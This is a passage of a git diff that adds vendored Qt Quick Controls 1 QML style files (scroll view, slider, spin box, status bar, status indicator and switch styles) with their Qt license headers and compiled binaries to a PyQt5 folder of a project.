target: panel; property: "visible"; value: false } + } + } + + implicitWidth: __styleData.horizontal ? 200 : bg.implicitWidth + implicitHeight: __styleData.horizontal ? bg.implicitHeight : 200 + + function pixelMetric(arg) { + if (arg === "scrollbarExtent") + return (__styleData.horizontal ? bg.height : bg.width); + return 0; + } + + function styleHint(arg) { + return false; + } + + function hitTest(argX, argY) { + if (itemIsHit(handleControl, argX, argY)) + return "handle" + else if (itemIsHit(incrementLoader, argX, argY)) + return "up"; + else if (itemIsHit(decrementLoader, argX, argY)) + return "down"; + else if (itemIsHit(bg, argX, argY)) { + if (__styleData.horizontal && argX < handleControl.x || !__styleData.horizontal && argY < handleControl.y) + return "upPage" + else + return "downPage" + } + + return "none"; + } + + function subControlRect(arg) { + if (arg === "handle") { + return Qt.rect(handleControl.x, handleControl.y, handleControl.width, handleControl.height); + } else if (arg === "groove") { + if (__styleData.horizontal) { + return Qt.rect(incrementLoader.width - handleOverlap, + 0, + __control.width - (incrementLoader.width + decrementLoader.width - handleOverlap * 2), + __control.height); + } else { + return Qt.rect(0, + incrementLoader.height - handleOverlap, + __control.width, + __control.height - (incrementLoader.height + decrementLoader.height - handleOverlap * 2)); + } + } + return Qt.rect(0,0,0,0); + } + + function itemIsHit(argItem, argX, argY) { + var pos = argItem.mapFromItem(__control, argX, argY); + return (pos.x >= 0 && pos.x <= argItem.width && pos.y >= 0 && pos.y <= argItem.height); + } + + Loader { + id: incrementLoader + anchors.top: parent.top + anchors.left: parent.left + sourceComponent: decrementControl + property QtObject styleData: QtObject { + readonly property bool hovered: activeControl === "up" + readonly property bool pressed: __styleData.upPressed + readonly property bool horizontal: __styleData.horizontal + } + } + + Loader { + id: bg + anchors.top: __styleData.horizontal ? undefined : incrementLoader.bottom + anchors.bottom: __styleData.horizontal ? undefined : decrementLoader.top + anchors.left: __styleData.horizontal ? incrementLoader.right : undefined + anchors.right: __styleData.horizontal ? decrementLoader.left : undefined + sourceComponent: scrollBarBackground + property QtObject styleData: QtObject { + readonly property bool horizontal: __styleData.horizontal + readonly property bool hovered: activeControl !== "none" + } + } + + Loader { + id: decrementLoader + anchors.bottom: __styleData.horizontal ? undefined : parent.bottom + anchors.right: __styleData.horizontal ? parent.right : undefined + sourceComponent: incrementControl + property QtObject styleData: QtObject { + readonly property bool hovered: activeControl === "down" + readonly property bool pressed: __styleData.downPressed + readonly property bool horizontal: __styleData.horizontal + } + } + + property var flickableItem: control.flickableItem + property int extent: Math.max(minimumHandleLength, __styleData.horizontal ? + Math.min(1, ((flickableItem && flickableItem.contentWidth > 0.0) ? flickableItem.width/flickableItem.contentWidth : 1)) * bg.width : + Math.min(1, ((flickableItem && flickableItem.contentHeight > 0.0) ? flickableItem.height/flickableItem.contentHeight : 1)) * bg.height) + readonly property real range: __control.maximumValue - __control.minimumValue + readonly property real begin: __control.value - __control.minimumValue + + Loader { + id: handleControl + height: __styleData.horizontal ? implicitHeight : extent + width: __styleData.horizontal ? extent : implicitWidth + anchors.top: bg.top + anchors.left: bg.left + anchors.topMargin: __styleData.horizontal || range === 0 ? 0 : -handleOverlap + (2 * begin * (bg.height + (2 * handleOverlap) - extent) + range) / (2 * range) + anchors.leftMargin: __styleData.horizontal && range !== 0 ? -handleOverlap + (2 * begin * (bg.width + (2 * handleOverlap) - extent) + range) / (2 * range) : 0 + sourceComponent: handle + property QtObject styleData: QtObject { + readonly property bool hovered: activeControl === "handle" + readonly property bool pressed: __styleData.handlePressed + readonly property bool horizontal: __styleData.horizontal + } + readonly property alias __activeControl: panel.activeControl + } + } + + /*! \internal */ + property bool __externalScrollBars: false + /*! \internal */ + property int __scrollBarSpacing: 4 + /*! \internal */ + property int __scrollBarFadeDelay: 450 + /*! \internal */ + property int __scrollBarFadeDuration: 200 + /*! \internal */ + property bool __stickyScrollbars: false +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ScrollViewStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ScrollViewStyle.qmlc new file mode 100644 index 00000000..8cb9221c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ScrollViewStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SliderStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SliderStyle.qml new file mode 100644 index 00000000..ca503064 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SliderStyle.qml @@ -0,0 +1,232 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype SliderStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.1 + \ingroup controlsstyling + \brief Provides custom styling for Slider. + + The slider style allows you to create a custom appearance for + a \l Slider control. + + The implicit size of the slider is calculated based on the + maximum implicit size of the \c background and \c handle + delegates combined. + + Example: + \qml + Slider { + anchors.centerIn: parent + style: SliderStyle { + groove: Rectangle { + implicitWidth: 200 + implicitHeight: 8 + color: "gray" + radius: 8 + } + handle: Rectangle { + anchors.centerIn: parent + color: control.pressed ? "white" : "lightgray" + border.color: "gray" + border.width: 2 + implicitWidth: 34 + implicitHeight: 34 + radius: 12 + } + } + } + \endqml +*/ +Style { + id: styleitem + + /*! The \l Slider this style is attached to. */ + readonly property Slider control: __control + + padding { top: 0 ; left: 0 ; right: 0 ; bottom: 0 } + + /*! This property holds the item for the slider handle. + You can access the slider through the \c control property + */ + property Component handle: Item{ + implicitWidth: implicitHeight + implicitHeight: TextSingleton.implicitHeight * 1.2 + + FastGlow { + source: handle + anchors.fill: parent + anchors.bottomMargin: -1 + anchors.topMargin: 1 + smooth: true + color: "#11000000" + spread: 0.8 + transparentBorder: true + blur: 0.1 + + } + Rectangle { + id: handle + anchors.fill: parent + + radius: width/2 + gradient: Gradient { + GradientStop { color: control.pressed ? "#e0e0e0" : "#fff" ; position: 1 } + GradientStop { color: "#eee" ; position: 0 } + } + Rectangle { + anchors.fill: parent + anchors.margins: 1 + radius: width/2 + border.color: "#99ffffff" + color: control.activeFocus ? "#224f7fbf" : "transparent" + } + border.color: control.activeFocus ? "#47b" : "#777" + } + + } + /*! This property holds the background groove of the slider. + + You can access the handle position through the \c styleData.handlePosition property. + */ + property Component groove: Item { + property color fillColor: "#49d" + anchors.verticalCenter: parent.verticalCenter + implicitWidth: Math.round(TextSingleton.implicitHeight * 4.5) + implicitHeight: Math.max(6, Math.round(TextSingleton.implicitHeight * 0.3)) + Rectangle { + radius: height/2 + anchors.fill: parent + border.width: 1 + border.color: "#888" + gradient: Gradient { + GradientStop { color: "#bbb" ; position: 0 } + GradientStop { color: "#ccc" ; position: 0.6 } + GradientStop { color: "#ccc" ; position: 1 } + } + } + Item { + clip: true + width: styleData.handlePosition + height: parent.height + Rectangle { + anchors.fill: parent + border.color: Qt.darker(fillColor, 1.2) + radius: height/2 + gradient: Gradient { + GradientStop {color: Qt.lighter(fillColor, 1.3) ; position: 0} + GradientStop {color: fillColor ; position: 1.4} + } + } + } + } + + /*! This property holds the tick mark labels. + \since QtQuick.Controls.Styles 1.1 + + Every tickmark that should be drawn must be defined within this + component, so it is common to use a \l Repeater, for example. + + You can access the handle width through the \c styleData.handleWidth property. + */ + property Component tickmarks: Repeater { + id: repeater + model: control.stepSize > 0 ? 1 + (control.maximumValue - control.minimumValue) / control.stepSize : 0 + Rectangle { + color: "#777" + width: 1 ; height: 3 + y: repeater.height + x: styleData.handleWidth / 2 + index * ((repeater.width - styleData.handleWidth) / (repeater.count-1)) + } + } + + /*! This property holds the slider style panel. + + Note that it is generally not recommended to override this. + */ + property Component panel: Item { + id: root + property int handleWidth: handleLoader.width + property int handleHeight: handleLoader.height + + property bool horizontal : control.orientation === Qt.Horizontal + property int horizontalSize: grooveLoader.implicitWidth + padding.left + padding.right + property int verticalSize: Math.max(handleLoader.implicitHeight, grooveLoader.implicitHeight) + padding.top + padding.bottom + + implicitWidth: horizontal ? horizontalSize : verticalSize + implicitHeight: horizontal ? verticalSize : horizontalSize + + y: horizontal ? 0 : height + rotation: horizontal ? 0 : -90 + transformOrigin: Item.TopLeft + + Item { + + anchors.fill: parent + + Loader { + id: grooveLoader + property QtObject styleData: QtObject { + readonly property int handlePosition: handleLoader.x + handleLoader.width/2 + } + x: padding.left + sourceComponent: groove + width: (horizontal ? parent.width : parent.height) - padding.left - padding.right + y: Math.round(padding.top + (Math.round(horizontal ? parent.height : parent.width - padding.top - padding.bottom) - grooveLoader.item.height)/2) + } + Loader { + id: tickMarkLoader + anchors.fill: parent + sourceComponent: control.tickmarksEnabled ? tickmarks : null + property QtObject styleData: QtObject { readonly property int handleWidth: control.__panel.handleWidth } + } + Loader { + id: handleLoader + sourceComponent: handle + anchors.verticalCenter: grooveLoader.verticalCenter + x: Math.round((control.__handlePos - control.minimumValue) / (control.maximumValue - control.minimumValue) * ((horizontal ? root.width : root.height) - item.width)) + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SliderStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SliderStyle.qmlc new file mode 100644 index 00000000..b70a77bd Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SliderStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SpinBoxStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SpinBoxStyle.qml new file mode 100644 index 00000000..bc57ef6e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SpinBoxStyle.qml @@ -0,0 +1,258 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype SpinBoxStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.2 + \ingroup controlsstyling + \brief Provides custom styling for SpinBox. + + Example: + \qml + SpinBox { + style: SpinBoxStyle{ + background: Rectangle { + implicitWidth: 100 + implicitHeight: 20 + border.color: "gray" + radius: 2 + } + } + } + \endqml +*/ + +Style { + id: spinboxStyle + + /*! The \l SpinBox this style is attached to. */ + readonly property SpinBox control: __control + + /*! The content margins of the text field. */ + padding { top: 1 ; left: Math.round(styleData.contentHeight/2) ; right: Math.max(22, Math.round(styleData.contentHeight)) ; bottom: 0 } + /*! \qmlproperty enumeration horizontalAlignment + + This property defines the default text aligment. + + The supported values are: + \list + \li Qt.AlignLeft + \li Qt.AlignHCenter + \li Qt.AlignRight + \endlist + + The default value is Qt.AlignRight + */ + property int horizontalAlignment: Qt.AlignRight + + /*! The text color. */ + property color textColor: SystemPaletteSingleton.text(control.enabled) + + /*! The text highlight color, used behind selections. */ + property color selectionColor: SystemPaletteSingleton.highlight(control.enabled) + + /*! The highlighted text color, used in selections. */ + property color selectedTextColor: SystemPaletteSingleton.highlightedText(control.enabled) + + /*! + \qmlproperty enumeration renderType + + Override the default rendering type for the control. + + Supported render types are: + \list + \li Text.QtRendering + \li Text.NativeRendering + \endlist + + The default value is platform dependent. + + \sa Text::renderType + */ + property int renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + + /*! + \since QtQuick.Controls.Styles 1.3 + The font of the control. + */ + property font font + + /*! The button used to increment the value. */ + property Component incrementControl: Item { + implicitWidth: padding.right + Image { + source: "images/arrow-up.png" + anchors.centerIn: parent + anchors.verticalCenterOffset: 1 + opacity: control.enabled ? (styleData.upPressed ? 1 : 0.6) : 0.5 + } + } + + /*! The button used to decrement the value. */ + property Component decrementControl: Item { + implicitWidth: padding.right + Image { + source: "images/arrow-down.png" + anchors.centerIn: parent + anchors.verticalCenterOffset: -2 + opacity: control.enabled ? (styleData.downPressed ? 1 : 0.6) : 0.5 + } + } + + /*! The background of the SpinBox. */ + property Component background: Item { + implicitHeight: Math.max(25, Math.round(styleData.contentHeight * 1.2)) + implicitWidth: styleData.contentWidth + padding.left + padding.right + baselineOffset: control.__baselineOffset + Rectangle { + anchors.fill: parent + anchors.bottomMargin: -1 + color: "#44ffffff" + radius: baserect.radius + } + Rectangle { + id: baserect + gradient: Gradient { + GradientStop {color: "#eee" ; position: 0} + GradientStop {color: "#fff" ; position: 0.1} + GradientStop {color: "#fff" ; position: 1} + } + radius: control.font.pixelSize * 0.16 + anchors.fill: parent + border.color: control.activeFocus ? "#47b" : "#999" + } + } + + /*! \internal */ + property Component panel: Item { + id: styleitem + implicitWidth: backgroundLoader.implicitWidth + implicitHeight: backgroundLoader.implicitHeight + baselineOffset: backgroundLoader.item ? backgroundLoader.item.baselineOffset : 0 + + property font font: spinboxStyle.font + + property color foregroundColor: spinboxStyle.textColor + property color selectionColor: spinboxStyle.selectionColor + property color selectedTextColor: spinboxStyle.selectedTextColor + + property var margins: spinboxStyle.padding + + property rect upRect: Qt.rect(width - incrementControlLoader.implicitWidth, 0, incrementControlLoader.implicitWidth, height / 2 + 1) + property rect downRect: Qt.rect(width - decrementControlLoader.implicitWidth, height / 2, decrementControlLoader.implicitWidth, height / 2) + + property int horizontalAlignment: spinboxStyle.horizontalAlignment + property int verticalAlignment: Qt.AlignVCenter + + Loader { + id: backgroundLoader + anchors.fill: parent + sourceComponent: background + } + + Loader { + id: incrementControlLoader + x: upRect.x + y: upRect.y + width: upRect.width + height: upRect.height + sourceComponent: incrementControl + } + + Loader { + id: decrementControlLoader + x: downRect.x + y: downRect.y + width: downRect.width + height: downRect.height + sourceComponent: decrementControl + } + } + + /*! \internal + The cursor handle. + \since QtQuick.Controls.Styles 1.3 + + The parent of the handle is positioned to the top left corner of + the cursor position. The interactive area is determined by the + geometry of the handle delegate. + + The following signals and read-only properties are available within the scope + of the handle delegate: + \table + \row \li \b {styleData.activated()} [signal] \li Emitted when the handle is activated ie. the editor is clicked. + \row \li \b {styleData.pressed} : bool \li Whether the handle is pressed. + \row \li \b {styleData.position} : int \li The character position of the handle. + \row \li \b {styleData.lineHeight} : real \li The height of the line the handle is on. + \row \li \b {styleData.hasSelection} : bool \li Whether the editor has selected text. + \endtable + */ + property Component __cursorHandle + + /*! \internal + The selection handle. + \since QtQuick.Controls.Styles 1.3 + + The parent of the handle is positioned to the top left corner of + the first selected character. The interactive area is determined + by the geometry of the handle delegate. + + The following signals and read-only properties are available within the scope + of the handle delegate: + \table + \row \li \b {styleData.activated()} [signal] \li Emitted when the handle is activated ie. the editor is clicked. + \row \li \b {styleData.pressed} : bool \li Whether the handle is pressed. + \row \li \b {styleData.position} : int \li The character position of the handle. + \row \li \b {styleData.lineHeight} : real \li The height of the line the handle is on. + \row \li \b {styleData.hasSelection} : bool \li Whether the editor has selected text. + \endtable + */ + property Component __selectionHandle + + /*! \internal + The cursor delegate. + \since QtQuick.Controls.Styles 1.3 + */ + property Component __cursorDelegate +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SpinBoxStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SpinBoxStyle.qmlc new file mode 100644 index 00000000..c4a6cf34 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SpinBoxStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/StatusBarStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/StatusBarStyle.qml new file mode 100644 index 00000000..8b620424 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/StatusBarStyle.qml @@ -0,0 +1,115 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype StatusBarStyle + \inqmlmodule QtQuick.Controls.Styles + \ingroup controlsstyling + \since 5.2 + \brief Provides custom styling for StatusBar. + + The status bar can be defined by overriding the background component and + setting the content padding. + + Example: + \qml + StatusBar { + style: StatusBarStyle { + padding { + left: 8 + right: 8 + top: 3 + bottom: 3 + } + background: Rectangle { + implicitHeight: 16 + implicitWidth: 200 + gradient: Gradient{ + GradientStop{color: "#eee" ; position: 0} + GradientStop{color: "#ccc" ; position: 1} + } + Rectangle { + anchors.top: parent.top + width: parent.width + height: 1 + color: "#999" + } + } + } + } + \endqml +*/ + +Style { + + /*! The content padding inside the status bar. */ + padding { + left: 3 + right: 3 + top: 3 + bottom: 2 + } + + /*! This defines the background of the status bar. */ + property Component background: Rectangle { + implicitHeight: 16 + implicitWidth: 200 + + gradient: Gradient{ + GradientStop{color: "#eee" ; position: 0} + GradientStop{color: "#ccc" ; position: 1} + } + + Rectangle { + anchors.top: parent.top + width: parent.width + height: 1 + color: "#999" + } + } + + /*! This defines the panel of the status bar. */ + property Component panel: Loader { + sourceComponent: background + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/StatusBarStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/StatusBarStyle.qmlc new file mode 100644 index 00000000..731d9c95 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/StatusBarStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/StatusIndicatorStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/StatusIndicatorStyle.qml new file mode 100644 index 00000000..ae9f2110 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/StatusIndicatorStyle.qml @@ -0,0 +1,232 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtGraphicalEffects 1.0 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras 1.4 + +/*! + \qmltype StatusIndicatorStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.5 + \ingroup controlsstyling + \brief Provides custom styling for StatusIndicatorStyle. + + You can create a custom status indicator by defining the \l indicator + component. +*/ + +Style { + id: pieMenuStyle + + /*! + The \l StatusIndicator that this style is attached to. + */ + readonly property StatusIndicator control: __control + + /*! + The color that instances of + \l [QtQuickExtras]{StatusIndicator} will have. + The \l [QtQuickExtras]{StatusIndicator::}{color} + property in \l [QtQuickExtras]{StatusIndicator} + will override this property when set. + */ + property color color: "red" + + /*! + This defines the indicator in both its on and off status. + */ + property Component indicator: Item { + readonly property real shineStep: 0.05 + readonly property real smallestAxis: Math.min(control.width, control.height) + readonly property real outerRecessPercentage: 0.11 + readonly property color offColor: Qt.rgba(0.13, 0.13, 0.13) + readonly property color baseColor: control.active ? control.color : offColor + + implicitWidth: TextSingleton.implicitHeight * 2 + implicitHeight: implicitWidth + + Canvas { + id: backgroundCanvas + width: Math.min(parent.width, parent.height) + // height: width --- QTBUG-42878 + height: Math.min(parent.width, parent.height) + anchors.centerIn: parent + + Connections { + target: control + function onActiveChanged() { backgroundCanvas.requestPaint() } + function onColorChanged() { backgroundCanvas.requestPaint() } + } + + onPaint: { + var ctx = getContext("2d"); + ctx.reset(); + + // Draw the semi-transparent background. + ctx.beginPath(); + var gradient = ctx.createLinearGradient(width / 2, 0, width / 2, height * 0.75); + gradient.addColorStop(0.0, Qt.rgba(0, 0, 0, control.active ? 0.1 : 0.25)); + gradient.addColorStop(1.0, control.active ? Qt.rgba(0, 0, 0, 0.1) : Qt.rgba(0.74, 0.74, 0.74, 0.25)); + + ctx.fillStyle = gradient; + ctx.ellipse(0, 0, width, height); + ctx.fill(); + } + } + + Item { + id: shadowGuard + anchors.fill: backgroundCanvas + anchors.margins: -shadow.radius + + Canvas { + id: colorCanvas + anchors.fill: parent + anchors.margins: shadow.radius + + Connections { + target: control + function onActiveChanged() { colorCanvas.requestPaint() } + function onColorChanged() { colorCanvas.requestPaint() } + } + + onPaint: { + var ctx = getContext("2d"); + ctx.reset(); + + // Draw the actual color within the circle. + ctx.beginPath(); + ctx.fillStyle = baseColor; + var recess = smallestAxis * outerRecessPercentage; + ctx.ellipse(recess, recess, width - recess * 2, height - recess * 2); + ctx.fill(); + } + } + } + + DropShadow { + id: shadow + source: shadowGuard + color: control.color + cached: true + anchors.fill: shadowGuard + visible: control.active + } + + Canvas { + id: foregroundCanvas + anchors.fill: backgroundCanvas + + Connections { + target: control + function onActiveChanged() { foregroundCanvas.requestPaint() } + function onColorChanged() { foregroundCanvas.requestPaint() } + } + + onPaint: { + var ctx = getContext("2d"); + ctx.reset(); + + // Draw the first shine. + ctx.beginPath(); + ctx.fillStyle = Qt.rgba(1, 1, 1, 0.03); + var recessPercentage = outerRecessPercentage + shineStep * 0.65; + var recess = smallestAxis * recessPercentage; + ctx.ellipse(recess, recess, width - recess * 2, height - recess * 2); + ctx.fill(); + + // Draw the second, inner shine. + ctx.beginPath(); + ctx.fillStyle = Qt.rgba(1, 1, 1, 0.06); + recessPercentage += shineStep; + recess = smallestAxis * recessPercentage; + ctx.ellipse(recess, recess, width - recess * 2, height - recess * 2); + ctx.fill(); + + // Now draw the final arced shine that goes over the first and second shines. + // First, clip the entire shine area. + ctx.beginPath(); + recessPercentage -= shineStep; + recess = smallestAxis * recessPercentage; + ctx.ellipse(recess, recess, width - recess * 2, height - recess * 2); + ctx.clip(); + + if (!control.active) { + // Then, clip the bottom area out of the shine. + ctx.ellipse(recess, height * 0.425, width - recess * 2, height - recess * 2); + ctx.clip(); + } + + ctx.beginPath(); + var gradient; + if (!control.active) { + // Draw the shine arc. + gradient = ctx.createLinearGradient(width / 2, height * 0.2, width / 2, height * 0.65); + gradient.addColorStop(0.0, Qt.rgba(1, 1, 1, 0.05)); + gradient.addColorStop(1.0, "transparent"); + } else { + // Draw the radial shine. + gradient = ctx.createRadialGradient(width / 2, height / 2, 0, width / 2, height / 2, width * 0.5 /* (same as height) */); + gradient.addColorStop(0.0, Qt.lighter(baseColor, 1.4)); + gradient.addColorStop(1.0, "transparent"); + } + + ctx.fillStyle = gradient; + ctx.ellipse(recess, recess, width - recess * 2, height - recess * 2); + ctx.fill(); + } + } + } + + /*! \internal */ + property Component panel: Item { + implicitWidth: indicatorLoader.implicitWidth + implicitHeight: indicatorLoader.implicitHeight + + Loader { + id: indicatorLoader + width: Math.max(1, parent.width) + height: Math.max(1, parent.height) + anchors.centerIn: parent + sourceComponent: indicator + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/StatusIndicatorStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/StatusIndicatorStyle.qmlc new file mode 100644 index 00000000..f416a34a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/StatusIndicatorStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SwitchStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SwitchStyle.qml new file mode 100644 index 00000000..39db036b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SwitchStyle.qml @@ -0,0 +1,169 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** 